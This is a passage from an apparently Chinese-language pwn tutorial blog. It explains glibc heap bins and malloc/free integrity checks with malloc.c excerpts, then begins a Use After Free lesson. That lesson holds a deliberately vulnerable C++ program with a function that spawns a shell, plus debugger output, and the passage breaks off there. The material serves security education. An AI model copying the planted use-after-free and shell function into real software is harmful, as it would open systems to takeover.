bin</span><br></pre></td></tr></table></figure><p>特点：</p><ul><li>大小不一</li><li>双向链表维护</li><li>FIFO</li></ul><p>当 fast bin、small bin 中的 chunk 都不能满足用户请求 chunk 大小时，堆管理器就会考虑使用 Unsorted bin 。它会在分配 large chunk 之前对堆中碎片 chunk 进行合并，以便减少堆中的碎片。Unsoted bin 是一个由 free chunks 组成的循环双向链表。在 Unsorted bin 中，对 chunk 的大小没有限制，任何大小的 chunk 都可以归属到 Unsorted bin 中。</p><p>malloc</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">int</span> iters = <span class="number">0</span>;</span><br><span class="line">      <span class="keyword">while</span> ((victim = unsorted_chunks (av)-&gt;bk) != unsorted_chunks (av)) <span class="comment">// 遍历 unsorted bin</span></span><br><span class="line">        &#123;</span><br><span class="line">          bck = victim-&gt;bk;</span><br><span class="line">          size = chunksize (victim);</span><br><span class="line"></span><br><span class="line">          <span class="keyword">if</span> (in_smallbin_range (nb) &amp;&amp;</span><br><span class="line">              bck == unsorted_chunks (av) &amp;&amp;</span><br><span class="line">              victim == av-&gt;last_remainder &amp;&amp;</span><br><span class="line">              (<span class="keyword">unsigned</span> <span class="keyword">long</span>) (size) &gt; (<span class="keyword">unsigned</span> <span class="keyword">long</span>) (nb + MINSIZE))</span><br><span class="line">            &#123;</span><br><span class="line">              <span class="comment">/* split and reattach remainder */</span></span><br><span class="line">              remainder_size = size - nb;</span><br><span class="line">              remainder = chunk_at_offset (victim, nb);</span><br><span class="line">              unsorted_chunks (av)-&gt;bk = unsorted_chunks (av)-&gt;fd = remainder;</span><br><span class="line">              av-&gt;last_remainder = remainder;</span><br><span class="line">              remainder-&gt;bk = remainder-&gt;fd = unsorted_chunks (av);</span><br><span class="line">              <span class="keyword">if</span> (!in_smallbin_range (remainder_size))</span><br><span class="line">                &#123;</span><br><span class="line">                  remainder-&gt;fd_nextsize = <span class="literal">NULL</span>;</span><br><span class="line">                  remainder-&gt;bk_nextsize = <span class="literal">NULL</span>;</span><br><span class="line">                &#125;</span><br><span class="line"></span><br><span class="line">              set_head (victim, nb | PREV_INUSE |</span><br><span class="line">                        (av != &amp;main_arena ? NON_MAIN_ARENA : <span class="number">0</span>));</span><br><span class="line">              set_head (remainder, remainder_size | PREV_INUSE);</span><br><span class="line">              set_foot (remainder, remainder_size);</span><br><span class="line"></span><br><span class="line">              check_malloced_chunk (av, victim, nb);</span><br><span class="line">              <span class="keyword">void</span> *p = chunk2mem (victim);</span><br><span class="line">              alloc_perturb (p, bytes);</span><br><span class="line">              <span class="keyword">return</span> p;</span><br><span class="line">            &#125;</span><br></pre></td></tr></table></figure><h4 id="Small-bin"><a href="#Small-bin" class="headerlink" title="Small bin"></a>Small bin</h4><p>特点：</p><ul><li>大小中等</li><li>双向链表维护</li><li>FIFO</li><li>相邻 free chunk 会合并</li></ul><p>如果程序请求的内存范围不在 fast bin 的范围内，就会考虑small bin。简单点说就是大于 80 Bytes 小于某一个值时，就会选择他。32 位系统下小于512字节的 chunk，64位系统下小于1024字节，small bin 就是用于管理 small chunk 的。就内存分配和释放的速度而言，small bin 比 larger bin 快，但比 fast bin 慢。</p><p><strong>malloc(small chunk)</strong></p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> (in_smallbin_range (nb))</span><br><span class="line">    &#123;</span><br><span class="line">      idx = smallbin_index (nb);<span class="comment">//  找到 smallbin 索引</span></span><br><span class="line">      bin = bin_at (av, idx);</span><br><span class="line">      <span class="keyword">if</span> ((victim = last (bin)) != bin) <span class="comment">// 判断 bin 中是不是有 chunk</span></span><br><span class="line">        &#123;</span><br><span class="line">          <span class="keyword">if</span> (victim == <span class="number">0</span>) <span class="comment">/* initialization check */</span></span><br><span class="line">            malloc_consolidate (av);</span><br><span class="line">          <span class="keyword">else</span></span><br><span class="line">            &#123;</span><br><span class="line">              bck = victim-&gt;bk;</span><br><span class="line">    <span class="keyword">if</span> (__glibc_unlikely (bck-&gt;fd != victim)) <span class="comment">// 链表检查</span></span><br><span class="line">                &#123;</span><br><span class="line">                  errstr = <span class="string">"malloc(): smallbin double linked list corrupted"</span>;</span><br><span class="line">                  <span class="keyword">goto</span> errout;</span><br><span class="line">                &#125;</span><br><span class="line">              set_inuse_bit_at_offset (victim, nb); <span class="comment">//设置下一个chunk的 in_use 位</span></span><br><span class="line">              bin-&gt;bk = bck;</span><br><span class="line">              bck-&gt;fd = bin;</span><br><span class="line"></span><br><span class="line">              <span class="keyword">if</span> (av != &amp;main_arena)</span><br><span class="line">                victim-&gt;size |= NON_MAIN_ARENA;</span><br><span class="line">              check_malloced_chunk (av, victim, nb);</span><br><span class="line">              <span class="keyword">void</span> *p = chunk2mem (victim);</span><br><span class="line">              alloc_perturb (p, bytes);</span><br><span class="line">              <span class="keyword">return</span> p;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">  <span class="comment">/*</span></span><br><span class="line"><span class="comment">     大内存分配，进入 malloc_consolidate</span></span><br><span class="line"><span class="comment">   */</span></span><br><span class="line">  <span class="keyword">else</span></span><br><span class="line">    &#123;</span><br><span class="line">      idx = largebin_index (nb);</span><br><span class="line">      <span class="keyword">if</span> (have_fastchunks (av))</span><br><span class="line">        malloc_consolidate (av);</span><br><span class="line">    &#125;</span><br></pre></td></tr></table></figure><p>最初所有的 small bin 都是空的，因此在对这些 small bin 完成初始化之前，即使用户请求的内存大小属于 small  chunk 也不会交由 small bin 进行处理，而是交由 unsorted bin 处理，如果 unsorted bin  也不能处理的话，glibc 就以此遍历后续的所有 bins，找出第一个满足要求的 bin，如果所有的 bin 都不满足的话，就转而使用 top  chunk，如果 top chunk大小不够，那么就扩充 top chunk，这样就一定能满足需求了。</p><p>在第一次调用 malloc 时，初始 malloc_state 的时候对 small bin 和 large bin 进行初始化，bin 的指针指向自己表明为空。(malloc.c # 1808)</p><p>之后，当再次调用 malloc(small chunk) 的时候，如果该 chunk size 对应的 small bin  不为空，就从该 small bin 链表中取得 small chunk，否则就需要交给 unsorted bin 及之后的逻辑来处理了。</p><p><strong>free(small chunk)</strong></p><p>当释放 small chunk 时，检查它前一个或后一个 chunk 是否空闲，如果是，则合并到一起：将其从 bin 中移除，合并成新的 chunk，最后将新的 chunk 添加到 unsorted bin 中。</p><h4 id="Large-bin"><a href="#Large-bin" class="headerlink" title="Large bin"></a>Large bin</h4><p>特点：</p><ul><li>大小较大</li><li>双向链表维护</li><li>FIFO</li><li>相邻 free chunk 会合并</li><li>free chunk 多两个位fd_nexitsize，bk_nextsize 指向前一块和后一块 large bin</li></ul><p>32位系统下大于等于512字节，64位系统下大于等于1024字节的 chunk 称为 large chunk，large bin 就是用于管理这些 large chunk 的。large bin中不再是每个 bin 中的 chunk 大小都固定，每个 bin 中存放着该范围内不同大小的 bin 并在存的过程中进行排序用来加快检索的速度，大的 chunk 放在前面，小的放在后面</p><p><strong>malloc(large chunk)</strong></p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> (!in_smallbin_range (nb))</span><br><span class="line">        &#123;</span><br><span class="line">          bin = bin_at (av, idx);</span><br><span class="line"></span><br><span class="line">          <span class="comment">/* skip scan if empty or largest chunk is too small */</span></span><br><span class="line">          <span class="keyword">if</span> ((victim = first (bin)) != bin &amp;&amp;</span><br><span class="line">              (<span class="keyword">unsigned</span> <span class="keyword">long</span>) (victim-&gt;size) &gt;= (<span class="keyword">unsigned</span> <span class="keyword">long</span>) (nb))</span><br><span class="line">            &#123;</span><br><span class="line">              victim = victim-&gt;bk_nextsize;</span><br><span class="line">              <span class="keyword">while</span> (((<span class="keyword">unsigned</span> <span class="keyword">long</span>) (size = chunksize (victim)) &lt;</span><br><span class="line">                      (<span class="keyword">unsigned</span> <span class="keyword">long</span>) (nb)))</span><br><span class="line">                victim = victim-&gt;bk_nextsize;</span><br><span class="line"></span><br><span class="line">              <span class="comment">/* Avoid removing the first entry for a size so that the skip</span></span><br><span class="line"><span class="comment">                 list does not have to be rerouted.  */</span></span><br><span class="line">              <span class="keyword">if</span> (victim != last (bin) &amp;&amp; victim-&gt;size == victim-&gt;fd-&gt;size)</span><br><span class="line">                victim = victim-&gt;fd;</span><br><span class="line"></span><br><span class="line">              remainder_size = size - nb;</span><br><span class="line">              unlink (av, victim, bck, fwd);</span><br><span class="line"></span><br><span class="line">              <span class="comment">/* Exhaust */</span></span><br><span class="line">              <span class="keyword">if</span> (remainder_size &lt; MINSIZE)</span><br><span class="line">                &#123;</span><br><span class="line">                  set_inuse_bit_at_offset (victim, size);</span><br><span class="line">                  <span class="keyword">if</span> (av != &amp;main_arena)</span><br><span class="line">                    victim-&gt;size |= NON_MAIN_ARENA;</span><br><span class="line">                &#125;</span><br><span class="line">              <span class="comment">/* Split */</span></span><br><span class="line">              <span class="keyword">else</span></span><br><span class="line">                &#123;</span><br><span class="line">                  remainder = chunk_at_offset (victim, nb);</span><br><span class="line">                  <span class="comment">/* We cannot assume the unsorted list is empty and therefore</span></span><br><span class="line"><span class="comment">                     have to perform a complete insert here.  */</span></span><br><span class="line">                  bck = unsorted_chunks (av);</span><br><span class="line">                  fwd = bck-&gt;fd;</span><br><span class="line">      <span class="keyword">if</span> (__glibc_unlikely (fwd-&gt;bk != bck))</span><br><span class="line">                    &#123;</span><br><span class="line">                      errstr = <span class="string">"malloc(): corrupted unsorted chunks"</span>;</span><br><span class="line">                      <span class="keyword">goto</span> errout;</span><br><span class="line">                    &#125;</span><br><span class="line">                  remainder-&gt;bk = bck;</span><br><span class="line">                  remainder-&gt;fd = fwd;</span><br><span class="line">                  bck-&gt;fd = remainder;</span><br><span class="line">                  fwd-&gt;bk = remainder;</span><br><span class="line">                  <span class="keyword">if</span> (!in_smallbin_range (remainder_size))</span><br><span class="line">                    &#123;</span><br><span class="line">                      remainder-&gt;fd_nextsize = <span class="literal">NULL</span>;</span><br><span class="line">                      remainder-&gt;bk_nextsize = <span class="literal">NULL</span>;</span><br><span class="line">                    &#125;</span><br><span class="line">                  set_head (victim, nb | PREV_INUSE |</span><br><span class="line">                            (av != &amp;main_arena ? NON_MAIN_ARENA : <span class="number">0</span>));</span><br><span class="line">                  set_head (remainder, remainder_size | PREV_INUSE);</span><br><span class="line">                  set_foot (remainder, remainder_size);</span><br><span class="line">                &#125;</span><br><span class="line">              check_malloced_chunk (av, victim, nb);</span><br><span class="line">              <span class="keyword">void</span> *p = chunk2mem (victim);</span><br><span class="line">              alloc_perturb (p, bytes);</span><br><span class="line">              <span class="keyword">return</span> p;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br></pre></td></tr></table></figure><p>初始时全部的 large bins 都为空，即使用户申请了一个 large chunk，不是给 large bin 进行处理，而是交由 next largest bin (<strong>to do</strong>) 进行处理，初始化操作与 small bin 一致。</p><p>之后当用户再次请求一个 large bin时，首先确定用户请求的大小属于哪一个 large bin，然后判断该 large bin 中最大的 chunk 的大小是否大于用户请求的大小。</p><p>如果大于，就从尾部到头部遍历该 large bin，找到一个大小相等或接近的 chunk 返回给用户。如果该 chunk  大于用户请求的大小的话，就将该 chunk 拆分为两个 chunk：前者返回给用户，且大小等同于用户请求的大小，剩余的部分作为一个新的  chunk 添加到 unsorted bin 中。</p><p>如果该 large bin 中最大的 chunk 小于用户请求的大小，那么就依次查看后续不为空的 large bin 中是否有满足需求的 chunk，如果找到合适的，切割之后返回给用户。如果没有找到，尝试交由 top chunk 处理。</p><p><strong>free(large chunk)</strong></p><p>当释放 large chunk 时，检查它前一个或后一个 chunk 是否空闲，如果是，则合并到一起：将其从 bin 中移除，合并成新的 chunk，最后将新的 chunk 添加到 unsorted bin 中。</p><p><img src="/2020/02/09/Linux-Pwn-Learning/4.png" alt="4"></p><h3 id="检查机制"><a href="#检查机制" class="headerlink" title="检查机制"></a>检查机制</h3><h4 id="free-check"><a href="#free-check" class="headerlink" title="free check"></a>free check</h4><p>free之前的检查</p><ul><li>指针是否对齐</li><li>块的大小是否对齐，且大于最小的大小</li><li>块是否在 <code>inuse</code> 状态</li></ul><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line">size = chunksize (p);</span><br><span class="line"></span><br><span class="line">  //检查指针是否正常，对齐</span><br><span class="line">  if (__builtin_expect ((uintptr_t) p &gt; (uintptr_t) -size, 0)</span><br><span class="line">      || __builtin_expect (misaligned_chunk (p), 0))</span><br><span class="line">    &#123;</span><br><span class="line">      errstr = &quot;free(): invalid pointer&quot;;</span><br><span class="line">    errout:</span><br><span class="line">      if (!have_lock &amp;&amp; locked)</span><br><span class="line">        (void) mutex_unlock (&amp;av-&gt;mutex);</span><br><span class="line">      malloc_printerr (check_action, errstr, chunk2mem (p), av);</span><br><span class="line">      return;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">// 检查 size 是否 &gt;= MINSIZE ，且是否对齐</span><br><span class="line">  if (__glibc_unlikely (size &lt; MINSIZE || !aligned_OK (size)))</span><br><span class="line">    &#123;</span><br><span class="line">      errstr = &quot;free(): invalid size&quot;;</span><br><span class="line">      goto errout;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">// 检查 chunk 是否处于 inuse 状态</span><br><span class="line">  check_inuse_chunk(av, p);</span><br></pre></td></tr></table></figure><h4 id="Check-In-Glbc"><a href="#Check-In-Glbc" class="headerlink" title="Check In Glbc"></a>Check In Glbc</h4><table><thead><tr><th>函数名</th><th>检查</th><th>报错信息</th></tr></thead><tbody><tr><td>unlink</td><td>p-&gt;size == nextchunk-&gt;pre_size</td><td>corrupted size vs prev_size</td></tr><tr><td>unlink</td><td>p-&gt;fd-&gt;bk == p 且 p-&gt;bk-&gt;fd == p</td><td>corrupted double-linked list</td></tr><tr><td>_int_malloc</td><td>当从fastbin分配内存时 ,找到的那个fastbin chunk的size要等于其位于的fastbin 的大小，比如在0x20的 fastbin中其大小就要为0x20</td><td>malloc():memory corruption (fast)</td></tr><tr><td>_int_malloc</td><td>当从 smallbin 分配 chunk( victim) 时， 要求 victim-&gt;bk-&gt;fd == victim</td><td>malloc(): smallbin double linked list corrupted</td></tr><tr><td>_int_malloc</td><td>当迭代 unsorted bin 时 ，迭代中的 chunk (cur)要满足，cur-&gt;size 在 [2*SIZE_SZ,  av-&gt;system_mem] 中</td><td>malloc(): memory corruption</td></tr><tr><td>_int_free</td><td>当插入一个 chunk 到 fastbin时，判断fastbin的 head 是不是和 释放的 chunk 相等</td><td>double free or corruption (fasttop)</td></tr><tr><td>_int_free</td><td>判断 next_chunk-&gt;pre_inuse == 1</td><td>double free or corruption (!prev)</td></tr></tbody></table><h3 id="Reference"><a href="#Reference" class="headerlink" title="Reference"></a>Reference</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">[+] Source Code of malloc.c        : https://code.woboq.org/userspace/glibc/malloc/malloc.c.html</span><br><span class="line">[+] CTF pwn 中最通俗易懂的堆入坑指南 : https://www.anquanke.com/post/id/163971#h2-1</span><br><span class="line">[+] Libc堆管理机制及漏洞利用技术     : https://www.freebuf.com/articles/system/91527.html</span><br><span class="line">[+] glibc heap analysis            : https://0x3f97.github.io/heap-exploitation/2017/12/06/glibc-heap-analysis/</span><br><span class="line">[+] glibc heap pwn notes           : https://xz.aliyun.com/t/2307</span><br></pre></td></tr></table></figure><h2 id="Use-After-Free"><a href="#Use-After-Free" class="headerlink" title="Use After Free"></a>Use After Free</h2><p><strong>漏洞介绍</strong></p><p>Glibc Heap 利用中，Use After Free(UAF)是很常见的一种，那么什么是UAF呢？</p><p>简单的说，Use After Free 就是其字面所表达的意思，当一个内存块被释放之后再次被使用。但是其实这里有以下几种情况：</p><ul><li>内存块被释放后，其对应的指针被设置为 NULL ， 然后再次使用，自然程序会崩溃。</li><li>内存块被释放后，其对应的指针没有被设置为 NULL ，然后在它下一次被使用之前，没有代码对这块内存块进行修改，那么程序很有可能可以正常运转。</li><li>内存块被释放后，其对应的指针没有被设置为 NULL，但是在它下一次使用之前，有代码对这块内存进行了修改，那么当程序再次使用这块内存时，就很有可能会出现奇怪的问题。</li></ul><p>而我们一般所指的 Use After Free 漏洞主要是后两种。此外，我们一般称被释放后没有被设置为 NULL 的内存指针为 dangling pointer。</p><h3 id="Example-One"><a href="#Example-One" class="headerlink" title="Example One"></a>Example One</h3><p>首先创建一个UAF.cpp，内容如下</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span><span class="meta-string">&lt;cstdio&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span><span class="meta-string">&lt;cstdlib&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span><span class="meta-string">&lt;cstring&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">A</span></span></span><br><span class="line"><span class="class">&#123;</span></span><br><span class="line">    <span class="keyword">public</span>:</span><br><span class="line">        <span class="function"><span class="keyword">virtual</span> <span class="keyword">void</span> <span class="title">print</span><span class="params">()</span></span></span><br><span class="line"><span class="function">        </span>&#123;</span><br><span class="line">            <span class="built_in">puts</span>(<span class="string">"class A"</span>);</span><br><span class="line">        &#125;</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">B</span>:</span> <span class="keyword">public</span> A</span><br><span class="line">&#123;</span><br><span class="line">    <span class="keyword">public</span>:</span><br><span class="line">        <span class="function"><span class="keyword">void</span> <span class="title">print</span><span class="params">()</span></span></span><br><span class="line"><span class="function">        </span>&#123;</span><br><span class="line">            <span class="built_in">puts</span>(<span class="string">"class B"</span>);</span><br><span class="line">        &#125;</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">sh</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    system(<span class="string">"sh"</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">char</span> buf[<span class="number">1024</span>];</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    setvbuf(<span class="built_in">stdout</span>,<span class="number">0</span>,_IONBF,<span class="number">0</span>);</span><br><span class="line">    A *p = <span class="keyword">new</span> B();</span><br><span class="line">    <span class="keyword">delete</span> p;       <span class="comment">//删除堆p</span></span><br><span class="line">    fgets(buf,<span class="keyword">sizeof</span>(buf),<span class="built_in">stdin</span>);</span><br><span class="line">    <span class="keyword">char</span> *q = strdup(buf);</span><br><span class="line"></span><br><span class="line">    p-&gt;print();     <span class="comment">//继续使用p，触发漏洞，程序会报错</span></span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>编译：</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">g++ use_after_free.cpp -o use_after_free -g -w -no-pie</span><br></pre></td></tr></table></figure><p>运行结果：</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">root@Thunder_J-virtual-machine:~/桌面# ./UAF</span><br><span class="line">aaaa</span><br><span class="line">段错误 (核心已转储)</span><br></pre></td></tr></table></figure><p>为什么错误呢？原因很简单，我们之前已经释放过p了，现在又来调用当然会错误，现在我们动态调试一下。<br>首先我们需要在main函数下个断点，然后单步观察</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">pwndbg&gt;</span><span class="bash"> b main</span></span><br><span class="line">Breakpoint 1 at 0x400863: file UAF.cpp, line 32.</span><br></pre></td></tr></table></figure><p>我们运行到delete p的地方</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">pwndbg&gt;</span><span class="bash"> n</span></span><br><span class="line">34        delete p;       //删除堆p</span><br><span class="line">LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA</span><br><span class="line">───────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]────────────────────────────────────────────────────────────────────────────────────────────────</span><br><span class="line"> RAX  0x613e70 —▸ 0x600dc8 —▸ 0x400918 (B::print()) ◂— push   rbp</span><br><span class="line"> RBX  0x613e70 —▸ 0x600dc8 —▸ 0x400918 (B::print()) ◂— push   rbp</span><br><span class="line"> RCX  0x613e70 —▸ 0x600dc8 —▸ 0x400918 (B::print()) ◂— push   rbp</span><br><span class="line"> RDX  0x600dc8 —▸ 0x400918 (B::print()) ◂— push   rbp</span><br><span class="line"> RDI  0x613e70 —▸ 0x600dc8 —▸ 0x400918 (B::print()) ◂— push   rbp</span><br><span class="line"> RSI  0x0</span><br><span class="line"> R8   0x7ffff7a488c0 (_IO_stdfile_1_lock) ◂— 0x0</span><br><span class="line"> R9   0x0</span><br><span class="line"> R10  0x602010 ◂— 0x0</span><br><span class="line"> R11  0x0</span><br><span class="line"> R12  0x400760 (_start) ◂— xor    ebp, ebp</span><br><span class="line"> R13  0x7fffffffe0e0 ◂— 0x1</span><br><span class="line"> R14  0x0</span><br><span class="line"> R15  0x0</span><br><span class="line"> RBP  0x7fffffffe000 —▸ 0x400980 (__libc_csu_init) ◂— push   r15</span><br><span class="line"> RSP  0x7fffffffdfe0 —▸ 0x613e70 —▸ 0x600dc8 —▸ 0x400918 (B::print()) ◂— push   rbp</span><br><span class="line"> RIP  0x4008a1 (main+71) ◂— mov    rax, qword ptr [rbp - 0x20]</span><br><span class="line">─────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────</span><br><span class="line"> ► 0x4008a1 &lt;main+71&gt;     mov    rax, qword ptr [rbp - 0x20]</span><br><span class="line">   0x4008a5 &lt;main+75&gt;     mov    esi, 8</span><br><span class="line">   0x4008aa &lt;main+80&gt;     mov    rdi, rax</span><br><span class="line">   0x4008ad &lt;main+83&gt;     call   0x400720</span><br><span class="line"> </span><br><span class="line">   0x4008b2 &lt;main+88&gt;     mov    rax, qword ptr [rip + 0x2007b7] &lt;0x601070&gt;</span><br><span class="line">   0x4008b9 &lt;main+95&gt;     mov    rdx, rax</span><br><span class="line">   0x4008bc &lt;main+98&gt;     mov    esi, 0x400</span><br><span class="line">   0x4008c1 &lt;main+103&gt;    lea    rdi, [rip + 0x2007b8] &lt;0x601080&gt;</span><br><span class="line">   0x4008c8 &lt;main+110&gt;    call   fgets@plt &lt;0x400740&gt;</span><br><span class="line"> </span><br><span class="line">   0x4008cd &lt;main+115&gt;    lea    rdi, [rip + 0x2007ac] &lt;0x601080&gt;</span><br><span class="line">   0x4008d4 &lt;main+122&gt;    call   strdup@plt &lt;0x400750&gt;</span><br><span class="line">─────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]──────────────────────────────────────────────────────────────────────────────────────────────</span><br><span class="line">In file: /home/Thunder_J/桌面/UAF.cpp</span><br><span class="line">   29 </span><br><span class="line">   30 int main()</span><br><span class="line">   31 &#123;</span><br><span class="line">   32     setvbuf(stdout,0,_IONBF,0);</span><br><span class="line">   33     A *p = new B();</span><br><span class="line"> ► 34     delete p;       //删除堆p</span><br><span class="line">   35     fgets(buf,sizeof(buf),stdin);</span><br><span class="line">   36     char *q = strdup(buf);</span><br><span class="line">   37 </span><br><span class="line">   38     p-&gt;print();     //继续使用p，触发漏洞，程序会报错</span><br><span class="line">   39     return 0;</span><br><span class="line">─────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────────────────────────────────────</span><br><span class="line">00:0000│ rsp  